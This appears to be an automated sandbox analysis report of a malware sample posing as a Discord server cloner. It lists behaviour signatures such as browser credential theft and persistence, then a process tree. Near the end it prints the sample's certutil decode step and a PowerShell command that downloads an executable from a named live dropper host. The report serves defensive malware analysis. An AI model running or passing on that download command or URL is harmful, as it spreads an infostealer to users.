Analysis
- max time kernel
643s - max time network
468s - platform
windows11-21h2_x64 - resource
win11-20240802-en - resource tags
- submitted
11/08/2024, 21:56
General
- Target https://mega.nz/folder/aZ1C1SLK#4yYpfVeaK4-EfP1L1udkvw
- Sample240811-1tfjhsvbmd
Malware Config
Extracted
-
ps1
-
exe.dropper
https://gonnacrack.discloud.app/Update
Signatures
- Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
- Blocklisted process makes network request 1 IoCs
- Downloads MZ/PE file
- Drops startup file 2 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 16 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Payload decoded via CertUtil.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Enumerates processes with tasklist 1 TTPs 46 IoCs
- Drops file in Windows directory 64 IoCs
- Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs
When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 2 IoCs
- Enumerates system info in registry 2 TTPs 9 IoCs
- Kills process with taskkill 2 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 3 IoCs
- NTFS ADS 4 IoCs
- Suspicious behavior: EnumeratesProcesses 58 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 24 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 42 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://mega.nz/folder/aZ1C1SLK#4yYpfVeaK4-EfP1L1udkvw1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe1fd23cb8,0x7ffe1fd23cc8,0x7ffe1fd23cd82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1928 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 /prefetch:32⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2896 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5128 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5488 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5492 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5536 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5140 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5544 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6060 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6088 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 /prefetch:82⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,15225379674510790351,10642791508217571529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5232 /prefetch:12⤵
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004D01⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\server cloner fouxe cloner\id.txt1⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffe1b34cc40,0x7ffe1b34cc4c,0x7ffe1b34cc582⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1780,i,222043283613075348,15414558143867064941,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=1776 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2108,i,222043283613075348,15414558143867064941,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2120 /prefetch:32⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2192,i,222043283613075348,15414558143867064941,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2164 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3104,i,222043283613075348,15414558143867064941,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3244 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3268,i,222043283613075348,15414558143867064941,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3292 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3624,i,222043283613075348,15414558143867064941,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4432 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe1fd23cb8,0x7ffe1fd23cc8,0x7ffe1fd23cd82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2024 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 /prefetch:32⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2572 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4412 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4392 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2988 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5520 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3432 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5288 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5208 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4204 /prefetch:82⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5812 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6332 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5968 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5352 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1392 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2028,38110694473297076,6338790373164837743,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6816 /prefetch:82⤵
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\Desktop\python-3.12.5-amd64.exe"C:\Users\Admin\Desktop\python-3.12.5-amd64.exe"1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\Temp\{49A7D44C-425E-4E6F-BFE6-938169323FF2}\.cr\python-3.12.5-amd64.exe"C:\Windows\Temp\{49A7D44C-425E-4E6F-BFE6-938169323FF2}\.cr\python-3.12.5-amd64.exe" -burn.clean.room="C:\Users\Admin\Desktop\python-3.12.5-amd64.exe" -burn.filehandle.attached=596 -burn.filehandle.self=7522⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5B8A4C29F38A27C11AE94D9B9162348A2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" -E -s -m ensurepip -U --default-pip3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exeC:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpvg2p9ik7\\pip-24.2-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpvg2p9ik7', '--upgrade', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\discord-server-cloner-main\start.bat" "1⤵
-
C:\Windows\system32\timeout.exetimeout /nobreak /t 12⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c where python 2>nul2⤵
-
C:\Windows\system32\where.exewhere python3⤵
-
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" --version2⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\timeout.exetimeout /nobreak /t 22⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\certutil.execertutil -decode C:\Users\Admin\AppData\Local\Temp\tmp.b64 C:\Users\Admin\AppData\Local\Temp\upd.bat2⤵
- Deobfuscate/Decode Files or Information
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://gonnacrack.discloud.app/Update', 'C:\Users\Admin\AppData\Local\Temp\Update.exe'); exit 0} catch {exit 1}"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
